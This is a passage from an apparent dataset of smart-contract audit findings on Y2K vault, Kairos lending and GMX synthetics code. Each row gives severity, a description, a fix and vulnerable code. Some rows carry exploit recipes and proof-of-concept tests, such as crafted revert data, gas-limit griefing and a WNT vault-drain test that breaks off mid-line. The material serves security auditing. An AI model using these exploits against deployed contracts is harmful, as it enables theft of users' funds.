possible to have different treasury addresses for different vaults. It's also not possible to update the treasury address of a vault although it has a function to do that. Funds will always be sent to the address the Controller was initialized with. | ```\\n constructor(\\n // // rest of code\\n address _treasury\\n ) SemiFungibleVault(IERC20(_assetAddress), _name, _symbol, _tokenURI) {\\n // // rest of code\\n treasury = _treasury;\\n whitelistedAddresses[_treasury] = true;\\n }\\n\\n function setTreasury(address _treasury) public onlyFactory {\\n if (_treasury == address(0)) revert AddressZero();\\n treasury = _treasury;\\n }\\n```\\n |
User deposit may never be entertained from deposit queue | medium | Due to FILO (first in last out) stack structure, while dequeuing, the first few entries may never be retrieved. These means User deposit may never be entertained from deposit queue if there are too many deposits\\nAssume User A made a deposit which becomes 1st entry in `depositQueue`\\nPost this X more deposits were made, so `depositQueue.length=X+1`\\nRelayer calls `mintDepositInQueue` and process `X-9` deposits\\n```\\n while ((length - _operations) <= i) {\\n // this loop impelements FILO (first in last out) stack to reduce gas cost and improve code readability\\n // changing it to FIFO (first in first out) would require more code changes and would be more expensive\\n _mintShares(\\n queue[i].receiver,\\n _epochId,\\n queue[i].assets - relayerFee\\n );\\n emit Deposit(\\n msg.sender,\\n queue[i].receiver,\\n _epochId,\\n queue[i].assets - relayerFee\\n );\\n depositQueue.pop();\\n if (i == 0) break;\\n unchecked {\\n i--;\\n }\\n }\\n```\\n\\nThis reduces deposit queue to only 10\\nBefore relayer could process these, Y more deposits were made which increases deposit queue to `y+10`\\nThis means Relayer might not be able to again process User A deposit as this deposit is lying after processing `Y+9` deposits | Allow User to dequeue deposit queue based on index, so that if such condition arises, user would be able to dequeue his deposit (independent of relayer) | User deposit may remain stuck in deposit queue if a large number of deposit are present in queue and relayer is interested in dequeuing all entries | ```\\n while ((length - _operations) <= i) {\\n // this loop impelements FILO (first in last out) stack to reduce gas cost and improve code readability\\n // changing it to FIFO (first in first out) would require more code changes and would be more expensive\\n _mintShares(\\n queue[i].receiver,\\n _epochId,\\n queue[i].assets - relayerFee\\n );\\n emit Deposit(\\n msg.sender,\\n queue[i].receiver,\\n _epochId,\\n queue[i].assets - relayerFee\\n );\\n depositQueue.pop();\\n if (i == 0) break;\\n unchecked {\\n i--;\\n }\\n }\\n```\\n |
changeTreasury() Lack of check and remove old | medium | changeTreasury() Lack of check and remove old\\nchangeTreasury() used to set new treasury The code is as follows:\\n```\\n function changeTreasury(uint256 _marketId, address _treasury)\\n public\\n onlyTimeLocker\\n {\\n if (_treasury == address(0)) revert AddressZero();\\n\\n address[2] memory vaults = marketIdToVaults[_marketId];\\n\\n if (vaults[0] == address(0) || vaults[1] == address(0)) {\\n revert MarketDoesNotExist(_marketId);\\n }\\n IVaultV2(vaults[0]).whiteListAddress(_treasury);\\n IVaultV2(vaults[1]).whiteListAddress(_treasury);\\n IVaultV2(vaults[0]).setTreasury(treasury);\\n IVaultV2(vaults[1]).setTreasury(treasury);\\n\\n emit AddressWhitelisted(_treasury, _marketId);\\n }\\n```\\n\\nThe above code has the following problem:\\nno check whether the new treasury same as the old. If it is the same, the whitelist will be canceled.\\nUse setTreasury(VaultFactoryV2.treasury), it should be setTreasury(_treasury)\\nnot cancel old treasury from the whitelist | ```\\n function changeTreasury(uint256 _marketId, address _treasury)\\n public\\n onlyTimeLocker\\n {\\n if (_treasury == address(0)) revert AddressZero();\\n\\n address[2] memory vaults = marketIdToVaults[_marketId];\\n\\n if (vaults[0] == address(0) || vaults[1] == address(0)) {\\n revert MarketDoesNotExist(_marketId);\\n }\\n\\n+ require(vaults[0].treasury() !=_treasury,"same"); //check same\\n+ IVaultV2(vaults[0]).whiteListAddress(vaults[0].treasury()); //cancel old whitelist\\n+ IVaultV2(vaults[1]).whiteListAddress(vaults[1].treasury()); //cancel old whitelist\\n\\n IVaultV2(vaults[0]).whiteListAddress(_treasury);\\n IVaultV2(vaults[1]).whiteListAddress(_treasury);\\n+ IVaultV2(vaults[0]).setTreasury(_treasury);\\n+ IVaultV2(vaults[1]).setTreasury(_treasury);\\n- IVaultV2(vaults[0]).setTreasury(treasury);\\n- IVaultV2(vaults[1]).setTreasury(treasury);\\n\\n emit AddressWhitelisted(_treasury, _marketId);\\n }\\n```\\n | whiteListAddress abnormal | ```\\n function changeTreasury(uint256 _marketId, address _treasury)\\n public\\n onlyTimeLocker\\n {\\n if (_treasury == address(0)) revert AddressZero();\\n\\n address[2] memory vaults = marketIdToVaults[_marketId];\\n\\n if (vaults[0] == address(0) || vaults[1] == address(0)) {\\n revert MarketDoesNotExist(_marketId);\\n }\\n IVaultV2(vaults[0]).whiteListAddress(_treasury);\\n IVaultV2(vaults[1]).whiteListAddress(_treasury);\\n IVaultV2(vaults[0]).setTreasury(treasury);\\n IVaultV2(vaults[1]).setTreasury(treasury);\\n\\n emit AddressWhitelisted(_treasury, _marketId);\\n }\\n```\\n |
mintRollovers should require entitledShares >= relayerFee | medium | mintRollovers should require entitledShares >= relayerFee\\nIn mintRollovers, the rollover is only not skipped if queue[index].assets >= relayerFee,\\n```\\n if (entitledShares > queue[index].assets) {\\n // skip the rollover for the user if the assets cannot cover the relayer fee instead of revert.\\n if (queue[index].assets < relayerFee) {\\n index++;\\n continue;\\n }\\n```\\n\\nIn fact, since the user is already profitable, entitledShares is the number of assets of the user, which is greater than queue[index].assets, so it should check that entitledShares >= relayerFee, and use entitledShares instead of queue[index].assets to subtract relayerFee when calculating assetsToMint later. | Change to\\n```\\n if (entitledShares > queue[index].assets) {\\n // skip the rollover for the user if the assets cannot cover the relayer fee instead of revert.\\n// Remove the line below\\n if (queue[index].assets < relayerFee) {\\n// Add the line below\\n if (entitledShares < relayerFee) {\\n index// Add the line below\\n// Add the line below\\n;\\n continue;\\n }\\n// rest of code\\n// Remove the line below\\n uint256 assetsToMint = queue[index].assets // Remove the line below\\n relayerFee;\\n// Add the line below\\n uint256 assetsToMint = entitledShares // Remove the line below\\n relayerFee;\\n```\\n | This will prevent rollover even if the user has more assets than relayerFee | ```\\n if (entitledShares > queue[index].assets) {\\n // skip the rollover for the user if the assets cannot cover the relayer fee instead of revert.\\n if (queue[index].assets < relayerFee) {\\n index++;\\n continue;\\n }\\n```\\n |
Vault Factory ownership can be changed immediately and bypass timelock delay | medium | The VaultFactoryV2 contract is supposed to use a timelock contract with a delay period when changing its owner. However, there is a loophole that allows the owner to change the owner address instantly, without waiting for the delay period to expire. This defeats the purpose of the timelock contract and exposes the VaultFactoryV2 contract to potential abuse.\\nIn project description, timelock is required when making critical changes. Admin can only configure new markets and epochs on those markets.\\n```\\n 2) Admin can configure new markets and epochs on those markets, Timelock can make cirital changes like changing the oracle or whitelisitng controllers.\\n```\\n\\nThe VaultFactoryV2 contract has a `changeOwner` function that is supposed to be called only by the timelock contract with a delay period.\\n```\\nfunction changeOwner(address _owner) public onlyTimeLocker {\\n if (_owner == address(0)) revert AddressZero();\\n _transferOwnership(_owner);\\n }\\n```\\n\\nThe VaultFactoryV2 contract inherits from the Openzeppelin Ownable contract, which has a `transferOwnership` function that allows the owner to change the owner address immediately. However, the `transferOwnership` function is not overridden by the `changeOwner` function, which creates a conflict and a vulnerability. The owner can bypass the timelock delay and use the `transferOwnership` function to change the owner address instantly.\\n```\\n function transferOwnership(address newOwner) public virtual onlyOwner {\\n require(newOwner != address(0), "Ownable: new owner is the zero address");\\n _transferOwnership(newOwner);\\n }\\n```\\n | Override the `transferOwnership` function and add modifier `onlyTimeLocker`. | The transferOwnership is not worked as design (using timelock), the timelock delay become useless. This means that if the owner address is hacked or corrupted, the attacker can take over the contract immediately, leaving no time for the protocol and the users to respond or intervene. | ```\\n 2) Admin can configure new markets and epochs on those markets, Timelock can make cirital changes like changing the oracle or whitelisitng controllers.\\n```\\n |
VaultFactoryV2#changeTreasury misconfigures the vault | medium | VaultFactoryV2#changeTreasury misconfigures the vault because the setTreasury subcall uses the wrong variable\\nVaultFactoryV2.sol#L228-L246\\n```\\nfunction changeTreasury(uint256 _marketId, address _treasury)\\n public\\n onlyTimeLocker\\n{\\n if (_treasury == address(0)) revert AddressZero();\\n\\n address[2] memory vaults = marketIdToVaults[_marketId];\\n\\n if (vaults[0] == address(0) || vaults[1] == address(0)) {\\n revert MarketDoesNotExist(_marketId);\\n }\\n\\n IVaultV2(vaults[0]).whiteListAddress(_treasury);\\n IVaultV2(vaults[1]).whiteListAddress(_treasury);\\n IVaultV2(vaults[0]).setTreasury(treasury);\\n IVaultV2(vaults[1]).setTreasury(treasury);\\n\\n emit AddressWhitelisted(_treasury, _marketId);\\n}\\n```\\n\\nWhen setting the treasury for the underlying vault pair it accidentally use the treasury variable instead of _treasury. This means it uses the local VaultFactoryV2 treasury rather than the function input.\\nControllerPeggedAssetV2.sol#L111-L123\\n```\\n premiumVault.sendTokens(_epochId, premiumFee, treasury);\\n premiumVault.sendTokens(\\n _epochId,\\n premiumTVL - premiumFee,\\n address(collateralVault)\\n );\\n // strike price is reached so collateral is still entitled to premiumTVL - premiumFee but looses collateralTVL\\n collateralVault.sendTokens(_epochId, collateralFee, treasury);\\n collateralVault.sendTokens(\\n _epochId,\\n collateralTVL - collateralFee,\\n address(premiumVault)\\n );\\n```\\n\\nThis misconfiguration can be damaging as it may cause the triggerDepeg call in the controller to fail due to the sendToken subcall. Additionally the time lock is the one required to call it which has a minimum of 3 days wait period. The result is that valid depegs may not get paid out since they are time sensitive. | Set to _treasury rather than treasury. | Valid depegs may be missed due to misconfiguration | ```\\nfunction changeTreasury(uint256 _marketId, address _treasury)\\n public\\n onlyTimeLocker\\n{\\n if (_treasury == address(0)) revert AddressZero();\\n\\n address[2] memory vaults = marketIdToVaults[_marketId];\\n\\n if (vaults[0] == address(0) || vaults[1] == address(0)) {\\n revert MarketDoesNotExist(_marketId);\\n }\\n\\n IVaultV2(vaults[0]).whiteListAddress(_treasury);\\n IVaultV2(vaults[1]).whiteListAddress(_treasury);\\n IVaultV2(vaults[0]).setTreasury(treasury);\\n IVaultV2(vaults[1]).setTreasury(treasury);\\n\\n emit AddressWhitelisted(_treasury, _marketId);\\n}\\n```\\n |
Null epochs will freeze rollovers | medium | When rolling a position it is required that the user didn't payout on the last epoch. The issue with the check is that if a null epoch is triggered then rollovers will break even though the vault didn't make a payout\\nCarousel.sol#L401-L406\\n```\\n uint256 entitledShares = previewWithdraw(\\n queue[index].epochId,\\n queue[index].assets\\n );\\n // mint only if user won epoch he is rolling over\\n if (entitledShares > queue[index].assets) {\\n```\\n\\nWhen minting rollovers the following check is made so that the user won't automatically roll over if they made a payout last epoch. This check however will fail if there is ever a null epoch. Since no payout is made for a null epoch it should continue to rollover but doesn't. | Change to less than or equal to:\\n```\\n- if (entitledShares > queue[index].assets) {\\n+ if (entitledShares >= queue[index].assets) {\\n```\\n | Rollover will halt after null epoch | ```\\n uint256 entitledShares = previewWithdraw(\\n queue[index].epochId,\\n queue[index].assets\\n );\\n // mint only if user won epoch he is rolling over\\n if (entitledShares > queue[index].assets) {\\n```\\n |
Inconsistent use of epochBegin could lock user funds | medium | The epochBegin timestamp is used inconsistently and could lead to user funds being locked.\\nThe function `ControllerPeggedAssetV2.triggerNullEpoch` checks for timestamp like this:\\n```\\nif (block.timestamp < uint256(epochStart)) revert EpochNotStarted();\\n```\\n\\nThe modifier `epochHasNotStarted` (used by Carousel.deposit) checks it like this:\\n```\\nif (block.timestamp > epochConfig[_id].epochBegin)\\n revert EpochAlreadyStarted();\\n```\\n\\nBoth functions can be called when `block.timestamp == epochBegin`. This could lead to a scenario where a deposit happens after `triggerNullEpoch` is called (both in the same block). Because `triggerNullEpoch` sets the value for `finalTVL`, the TVL that comes from the deposit is not accounted for. If emissions have been distributed this epoch, this will lead to the incorrect distribution of emissions and once all emissions have been claimed the remaining assets will not be claimable, due to reversion in `withdraw` when trying to send emissions:\\n```\\nfunction previewEmissionsWithdraw(uint256 _id, uint256 _assets)\\n public\\n view\\n returns (uint256 entitledAmount)\\n{\\n entitledAmount = _assets.mulDivDown(emissions[_id], finalTVL[_id]);\\n}\\n// rest of code\\n//in withdraw:\\nuint256 entitledEmissions = previewEmissionsWithdraw(_id, _assets);\\nif (epochNull[_id] == false) {\\n entitledShares = previewWithdraw(_id, _assets);\\n} else {\\n entitledShares = _assets;\\n}\\nif (entitledShares > 0) {\\n SemiFungibleVault.asset.safeTransfer(_receiver, entitledShares);\\n}\\nif (entitledEmissions > 0) {\\n emissionsToken.safeTransfer(_receiver, entitledEmissions);\\n}\\n```\\n\\nThe above could also lead to revert through division by 0 if `finalTVL` is set to 0, even though the deposit after was successful. | The modifier `epochHasNotStarted` should use `>=` as comparator | incorrect distribution, Loss of deposited funds | ```\\nif (block.timestamp < uint256(epochStart)) revert EpochNotStarted();\\n```\\n |
Denial-of-Service in the liquidation flow results in the collateral NTF will be stuck in the contract. | medium | If the `loanTovalue` value of the offer is extremely high, the liquidation flow will be reverted, causing the collateral NTF to persist in the contract forever.\\nThe platform allows users to sign offers and provide funds to those who need to borrow assets.\\nIn the first scenario, the lender provided an offer that the `loanTovalue` as high as the result of the `shareMatched` is `0`. For example, if the borrowed amount was `1e40` and the offer had a `loanTovalue` equal to `1e68`, the share would be `0`.\\nAs a result, an arithmetic error (Division or modulo by 0) will occur in the `price()` function at line 50 during the liquidation process.\\nIn the second scenario, if the lender's share exceeds `0`, but the offer's `loanToValue` is extremely high, the `price()` function at line 54 may encounter an arithmetic error(Arithmetic over/underflow) during the `estimatedValue` calculation.\\nPoof of Concept\\nkairos-contracts/test/BorrowBorrow.t.sol\\n```\\nfunction testBorrowOverflow() public {\\n uint256 borrowAmount = 1e40;\\n BorrowArg[] memory borrowArgs = new BorrowArg[](1);\\n (, ,uint256 loanId , ) = kairos.getParameters();\\n loanId += 1;\\n\\n Offer memory offer = Offer({\\n assetToLend: money,\\n loanToValue: 1e61,\\n duration: 1,\\n expirationDate: block.timestamp + 2 hours,\\n tranche: 0,\\n collateral: getNft()\\n });\\n uint256 currentTokenId;\\n\\n getFlooz(signer, money, getOfferArg(offer).amount);\\n\\n {\\n OfferArg[] memory offerArgs = new OfferArg[](1);\\n currentTokenId = getJpeg(BORROWER, nft);\\n offer.collateral.id = currentTokenId;\\n offerArgs[0] = OfferArg({\\n signature: getSignature(offer),\\n amount: borrowAmount,\\n offer: offer\\n });\\n borrowArgs[0] = BorrowArg({nft: NFToken({id: currentTokenId, implem: nft}), args: offerArgs});\\n }\\n\\n vm.prank(BORROWER);\\n kairos.borrow(borrowArgs);\\n\\n assertEq(nft.balanceOf(BORROWER), 0);\\n assertEq(money.balanceOf(BORROWER), borrowAmount);\\n assertEq(nft.balanceOf(address(kairos)), 1);\\n\\n vm.warp(block.timestamp + 1);\\n Loan memory loan = kairos.getLoan(loanId);\\n console.log("price of loanId", kairos.price(loanId));\\n}\\n```\\n | We recommend adding the mechanism during the borrowing process to restrict the maximum `loanToValue` limit and ensure that the lender's share is always greater than zero. This will prevent arithmetic errors. | The loan position will not be liquidated, which will result in the collateral NTF being permanently frozen in the contract. | ```\\nfunction testBorrowOverflow() public {\\n uint256 borrowAmount = 1e40;\\n BorrowArg[] memory borrowArgs = new BorrowArg[](1);\\n (, ,uint256 loanId , ) = kairos.getParameters();\\n loanId += 1;\\n\\n Offer memory offer = Offer({\\n assetToLend: money,\\n loanToValue: 1e61,\\n duration: 1,\\n expirationDate: block.timestamp + 2 hours,\\n tranche: 0,\\n collateral: getNft()\\n });\\n uint256 currentTokenId;\\n\\n getFlooz(signer, money, getOfferArg(offer).amount);\\n\\n {\\n OfferArg[] memory offerArgs = new OfferArg[](1);\\n currentTokenId = getJpeg(BORROWER, nft);\\n offer.collateral.id = currentTokenId;\\n offerArgs[0] = OfferArg({\\n signature: getSignature(offer),\\n amount: borrowAmount,\\n offer: offer\\n });\\n borrowArgs[0] = BorrowArg({nft: NFToken({id: currentTokenId, implem: nft}), args: offerArgs});\\n }\\n\\n vm.prank(BORROWER);\\n kairos.borrow(borrowArgs);\\n\\n assertEq(nft.balanceOf(BORROWER), 0);\\n assertEq(money.balanceOf(BORROWER), borrowAmount);\\n assertEq(nft.balanceOf(address(kairos)), 1);\\n\\n vm.warp(block.timestamp + 1);\\n Loan memory loan = kairos.getLoan(loanId);\\n console.log("price of loanId", kairos.price(loanId));\\n}\\n```\\n |
Adversary can utilize a large number of their own loans to cheat other lenders out of interest | medium | The minimal interest paid by a loan is scaled by the number of provisions that make up the loan. By inflating the number of provisions with their own provisions then can cause legitimate lenders to receive a much lower interest rate than intended.\\nClaimFacet.sol#L94-L106\\n```\\nfunction sendInterests(Loan storage loan, Provision storage provision) internal returns (uint256 sent) {\\n uint256 interests = loan.payment.paid - loan.lent;\\n if (interests == loan.payment.minInterestsToRepay) {\\n // this is the case if the loan is repaid shortly after issuance\\n // each lender gets its minimal interest, as an anti ddos measure to spam offer\\n sent = provision.amount + (interests / loan.nbOfPositions);\\n } else {\\n /* provision.amount / lent = share of the interests belonging to the lender. The parenthesis make the\\n calculus in the order that maximizes precison */\\n sent = provision.amount + (interests * (provision.amount)) / loan.lent;\\n }\\n loan.assetLent.checkedTransfer(msg.sender, sent);\\n}\\n```\\n\\nIf a loan is paid back before the minimal interest rate has been reached then each provision will receive the unweighted minimal interest amount. This can be abused to take loans that pay legitimate lenders a lower APR than expected, cheating them of their yield.\\nExample: A user wishes to borrow 1000 USDC at 10% APR. Assume the minimal interest per provision is 10 USDC and minimum borrow amount is 20 USDC. After 1 year the user would owe 100 USDC in interest. A user can abuse the minimum to pay legitimate lenders much lower than 10% APR. The attacker will find a legitimate offer to claim 820 USDC. This will create an offer for themselves and borrow 20 USDC from it 9 times. This creates a total of 10 provisions each owed a minimum of 10 USDC or 100 USDC total. Now after 1 year they owe 100 USDC on their loan and the repay the loan. Since 100 USDC is the minimum, each of the 10 provisions will get their minimal interest. 90 USDC will go to their provisions and 10 will go to the legitimate user who loaned them a majority of the USDC. Their APR is ~1.2% which is ~1/9th of what they specified. | The relative size of the provisions should be enforced so that one is not much larger than any other one | Legitimate users can be cheated out of interest owed | ```\\nfunction sendInterests(Loan storage loan, Provision storage provision) internal returns (uint256 sent) {\\n uint256 interests = loan.payment.paid - loan.lent;\\n if (interests == loan.payment.minInterestsToRepay) {\\n // this is the case if the loan is repaid shortly after issuance\\n // each lender gets its minimal interest, as an anti ddos measure to spam offer\\n sent = provision.amount + (interests / loan.nbOfPositions);\\n } else {\\n /* provision.amount / lent = share of the interests belonging to the lender. The parenthesis make the\\n calculus in the order that maximizes precison */\\n sent = provision.amount + (interests * (provision.amount)) / loan.lent;\\n }\\n loan.assetLent.checkedTransfer(msg.sender, sent);\\n}\\n```\\n |
minOfferCost can be bypassed in certain scenarios | medium | minOfferCost is designed to prevent spam loan requests that can cause the lender to have positions that cost more gas to claim than interest. Due to how interest is calculated right after this minimum is passed it is still possible for the lender to receive less than the minimum.\\nClaimFacet.sol#L94-L106\\n```\\nfunction sendInterests(Loan storage loan, Provision storage provision) internal returns (uint256 sent) {\\n uint256 interests = loan.payment.paid - loan.lent;\\n if (interests == loan.payment.minInterestsToRepay) {\\n // this is the case if the loan is repaid shortly after issuance\\n // each lender gets its minimal interest, as an anti ddos measure to spam offer\\n sent = provision.amount + (interests / loan.nbOfPositions);\\n } else {\\n /* provision.amount / lent = share of the interests belonging to the lender. The parenthesis make the\\n calculus in the order that maximizes precison */\\n sent = provision.amount + (interests * (provision.amount)) / loan.lent; <- audit-issue minimal interest isn't guaranteed\\n }\\n loan.assetLent.checkedTransfer(msg.sender, sent);\\n}\\n```\\n\\nWhen a loan has generated more than the minimum interest amount the method for calculating the interest paid is different and depending on the size of the provisions it may lead to provisions that are under the guaranteed minimum.\\nExample: Assume the minimum interest is 1e18. A loan is filled with 2 provisions. The first provision is 25% and the second is 75%. Since there are two loans the total minimum interest for the loan is 2e18. After some time the paid interest reaches 2.001e18 and the loan is paid back. Since it is above the minimum interest rate, it is paid out proportionally. This gives 0.5e18 to the first provision and 1.5e18 to the second provision. This violates the minimum guaranteed interest amount. | Minimum interest should be set based on the percentage of the lowest provision and provision shouldn't be allowed to be lower than some amount. Since this problem occurs when the percentage is less than 1/n (where n is the number of provisions), any single provision should be allowed to be lower than 1/(2n). | Minimum interest guarantee can be violated | ```\\nfunction sendInterests(Loan storage loan, Provision storage provision) internal returns (uint256 sent) {\\n uint256 interests = loan.payment.paid - loan.lent;\\n if (interests == loan.payment.minInterestsToRepay) {\\n // this is the case if the loan is repaid shortly after issuance\\n // each lender gets its minimal interest, as an anti ddos measure to spam offer\\n sent = provision.amount + (interests / loan.nbOfPositions);\\n } else {\\n /* provision.amount / lent = share of the interests belonging to the lender. The parenthesis make the\\n calculus in the order that maximizes precison */\\n sent = provision.amount + (interests * (provision.amount)) / loan.lent; <- audit-issue minimal interest isn't guaranteed\\n }\\n loan.assetLent.checkedTransfer(msg.sender, sent);\\n}\\n```\\n |
Incomplete error handling causes execution and freezing/cancelling of Deposits/Withdrawals/Orders to fail. | high | Users can define callbacks for Deposits/Withdrawals/Orders execution and cancellations. GMX protocol attempts to manage errors during the execution of the callbacks\\nA user controlled callback can return a specially crafted revert reason that will make the error handling revert.\\nBy making the execution and cancelation revert, a malicious actor can game orders and waste keeper gas.\\nThe bug resides in ErrorUtilss `getRevertMessage` that is called on every callback attempt. Example of deposit callback:\\n```\\ntry IDepositCallbackReceiver(deposit.callbackContract()).afterDepositExecution{ gas: deposit.callbackGasLimit() }(key, deposit) {\\n } catch (bytes memory reasonBytes) {\\n (string memory reason, /* bool hasRevertMessage */) = ErrorUtils.getRevertMessage(reasonBytes);\\n emit AfterDepositExecutionError(key, deposit, reason, reasonBytes);\\n }\\n```\\n\\nAs can be seen in the above above snippets, the `reasonBytes` from the catch statement is passed to `getRevertMessage` which tries to extract the `Error(string)` message from the revert. The issue is that the data extracted from the revert can be crafted to revert on `abi.decode`.\\nI will elaborate: Correct (expected) revert data looks as follows: 1st 32 bytes: 0x000..64 (bytes memory size) 2nd 32 bytes: 0x08c379a0 (Error(string) selector) 3rd 32 bytes: offset to data 4th 32 bytes: length of data 5th 32 bytes: data\\n`abi.decode` reverts if the data is not structure correctly. There can be two reasons for revert:\\nif the 3rd 32 bytes (offset to data) is larger then the uint64 (0xffffffffffffffff)\\nSimplified yul: `if gt(offset, 0xffffffffffffffff) { revert }`\\nif the 3rd 32 bytes (offset to data) is larger then the uint64 of the encoded data, the call will revert\\nSimplieifed yul: `if iszero(slt(add(offset, 0x1f), size) { revert }`\\nBy reverting with the following data in the callback, the `getRevertMessage` will revert: 0x000....64 0x0x08c379a0...000 0xffffffffffffffff....000 0x000...2 0x4141 | When parsing the revert reason, validate the offsets are smaller then the length of the encoding. | There are two impacts will occur when the error handling reverts:\\n(1) Orders can be gamed\\nSince the following callbacks are controlled by the user,:\\n`afterOrderExecution`\\n`afterOrderCancellation`\\n`afterOrderFrozen`\\nThe user can decide when to send the malformed revert data and when not. Essentially preventing keepers from freezing orders and from executing orders until it fits the attacker.\\nThere are two ways to game the orders:\\nAn attacker can create a risk free order, by setting a long increase order. If the market increases in his favor, he can decide to "unblock" the execution and receive profit. If the market decreases, he can cancel the order or wait for the right timing.\\nAn attacker can create a limit order with a size larger then what is available in the pool. The attacker waits for the price to hit and then deposit into the pool to make the transaction work. This method is supposed to be prevented by freezing orders, but since the attacker can make the `freezeOrder` revert, the scenario becomes vulnerable again.\\n(2) drain keepers funds\\nSince exploiting the bug for both execution and cancellation, keepers will ALWAYS revert when trying to execute Deposits/Withdrawals/Orders. The protocol promises to always pay keepers at-least the execution cost. By making the execution and cancellations revert the Deposits/Withdrawals/Orders will never be removed from the store and keepers transactions will keep reverting until potentially all their funds are wasted. | ```\\ntry IDepositCallbackReceiver(deposit.callbackContract()).afterDepositExecution{ gas: deposit.callbackGasLimit() }(key, deposit) {\\n } catch (bytes memory reasonBytes) {\\n (string memory reason, /* bool hasRevertMessage */) = ErrorUtils.getRevertMessage(reasonBytes);\\n emit AfterDepositExecutionError(key, deposit, reason, reasonBytes);\\n }\\n```\\n |
Keeper can make deposits/orders/withdrawals fail and receive fee+rewards | medium | Malicious keeper can make execution of deposits/orders/withdrawals fail by providing limited gas to the execution.\\nIf enough gas is sent for the cancellation to succeed but for the execution to fail the keeper is able to receive the execution fee + incentive rewards and cancel all deposits/orders/withdrawals.\\n```\\nfunction executeDeposit(\\n bytes32 key,\\n OracleUtils.SetPricesParams calldata oracleParams\\n ) external\\n globalNonReentrant\\n onlyOrderKeeper\\n withOraclePrices(oracle, dataStore, eventEmitter, oracleParams)\\n {\\n uint256 startingGas = gasleft();\\n\\n try this._executeDeposit(\\n key,\\n oracleParams,\\n msg.sender,\\n startingGas\\n ) {\\n } catch (bytes memory reasonBytes) {\\n _handleDepositError(\\n key,\\n startingGas,\\n reasonBytes\\n );\\n }\\n }\\n```\\n\\nFor the attack to succeed, the keeper needs to make `this._executeDeposit` revert. Due to the 64/63 rule the attack will succeed if both of the following conditions meet:\\n63/64 of the supplied gas will cause an out of gas in the `try` statement\\n1/64 of the supplied gas is enough to execute the `catch` statement.\\nConsidering `2000000` is the max callback limit and native token transfer gas limit is large enough to support contracts the above conditions can be met. | Add a buffer of gas that needs to be supplied to the execute function to make sure the `try` statement will not revert because of out of gas. | Keeper can remove all deposits/withdrawals/orders from the protocol.\\nEssentially stealing all execution fees paid\\nKeeper can create deposits and by leveraging the bug can cancel them when executing while receiving rewards.\\nVaults will be drained | ```\\nfunction executeDeposit(\\n bytes32 key,\\n OracleUtils.SetPricesParams calldata oracleParams\\n ) external\\n globalNonReentrant\\n onlyOrderKeeper\\n withOraclePrices(oracle, dataStore, eventEmitter, oracleParams)\\n {\\n uint256 startingGas = gasleft();\\n\\n try this._executeDeposit(\\n key,\\n oracleParams,\\n msg.sender,\\n startingGas\\n ) {\\n } catch (bytes memory reasonBytes) {\\n _handleDepositError(\\n key,\\n startingGas,\\n reasonBytes\\n );\\n }\\n }\\n```\\n |
WNT in depositVault can be drained by abusing initialLongToken/initialShortToken of CreateDepositParams | high | The attacker can abuse the initialLongToken/initialShortToken of `CreateDepositParams` to drain all the WNT from depositVault.\\n```\\n function createDeposit(\\n DataStore dataStore,\\n EventEmitter eventEmitter,\\n DepositVault depositVault,\\n address account,\\n CreateDepositParams memory params\\n ) external returns (bytes32) {\\n Market.Props memory market = MarketUtils.getEnabledMarket(dataStore, params.market);\\n\\n uint256 initialLongTokenAmount = depositVault.recordTransferIn(params.initialLongToken);\\n uint256 initialShortTokenAmount = depositVault.recordTransferIn(params.initialShortToken);\\n\\n address wnt = TokenUtils.wnt(dataStore);\\n\\n if (market.longToken == wnt) {\\n initialLongTokenAmount -= params.executionFee;\\n } else if (market.shortToken == wnt) {\\n initialShortTokenAmount -= params.executionFee;\\n```\\n\\nThe `initialLongToken` and `initialShortToken` of `CreateDepositParams` can be set to any token address and there is no check for the `initialLongToken` and `initialShortToken` during `createDeposit`. The attacker can set initialLongToken/initialShortToken to a token(USDC e.g.) with less value per unit than WNT and for a market with `market.longToken == wnt` or `market.shortToken == wnt`, `params.executionFee` will be wrongly subtracted from `initialLongTokenAmount` or `initialLongTokenAmount`. This allows the attacker to have a controllable large `params.executionFee` by sending tokens with less value. By calling `cancelDeposit`, `params.executionFee` amount of WNT will be repaid to the attacker.\\nHere is a PoC test case that drains WNT from depositVault:\\n```\\ndiff --git a/gmx-synthetics/test/router/ExchangeRouter.ts b/gmx-synthetics/test/router/ExchangeRouter.ts\\nindex 7eca238..c40a71c 100644\\n--- a/gmx-synthetics/test/router/ExchangeRouter.ts\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/gmx-synthetics/test/router/ExchangeRouter.ts\\n@@ -103,6 // Add the line below\\n103,82 @@ describe("ExchangeRouter", () => {\\n });\\n });\\n \\n// Add the line below\\n it("createDepositPoC", async () => {\\n// Add the line below\\n // simulate normal user deposit\\n// Add the line below\\n await usdc.mint(user0.address, expandDecimals(50 * 1000, 6));\\n// Add the line below\\n await usdc.connect(user0).approve(router.address, expandDecimals(50 * 1000, 6));\\n// Add the line below\\n const tx = await exchangeRouter.connect(user0).multicall(\\n// Add the line below\\n [\\n// Add the line below\\n exchangeRouter.interface.encodeFunctionData("sendWnt", [depositVault.address, expandDecimals(11, 18)]),\\n// Add the line below\\n exchangeRouter.interface.encodeFunctionData("sendTokens", [\\n// Add the line below\\n usdc.address,\\n// Add the line below\\n depositVault.address,\\n// Add the line below\\n expandDecimals(50 * 1000, 6),\\n// Add the line below\\n ]),\\n// Add the line below\\n exchangeRouter.interface.encodeFunctionData("createDeposit", [\\n// Add the line below\\n {\\n// Add the line below\\n receiver: user0.address,\\n// Add the line below\\n callbackContract: user2.address,\\n// Add the line below\\n market: ethUsdMarket.marketToken,\\n// Add the line below\\n initialLongToken: ethUsdMarket.longToken,\\n// Add the line below\\n initialShortToken: ethUsdMarket.shortToken,\\n// Add the line below\\n longTokenSwapPath: [ethUsdMarket.marketToken, ethUsdSpotOnlyMarket.marketToken],\\n// Add the line below\\n shortTokenSwapPath: [ethUsdSpotOnlyMarket.marketToken, ethUsdMarket.marketToken],\\n// Add the line below\\n minMarketTokens: 100,\\n// Add the line below\\n shouldUnwrapNativeToken: true,\\n// Add the line below\\n executionFee,\\n// Add the line below\\n callbackGasLimit: "200000",\\n// Add the line below\\n },\\n// Add the line below\\n ]),\\n// Add the line below\\n ],\\n// Add the line below\\n { value: expandDecimals(11, 18) }\\n// Add the line below\\n );\\n// Add the line below\\n\\n// Add the line below\\n // depositVault has WNT balance now\\n// Add the line below\\n let vaultWNTBalance = await wnt.balanceOf(depositVault.address);\\n// Add the line below\\n expect(vaultWNTBalance.eq(expandDecimals(11, 18)));\\n// Add the line below\\n\\n// Add the line below\\n // user1 steal WNT from depositVault\\n// Add the line below\\n await usdc.mint(user1.address, 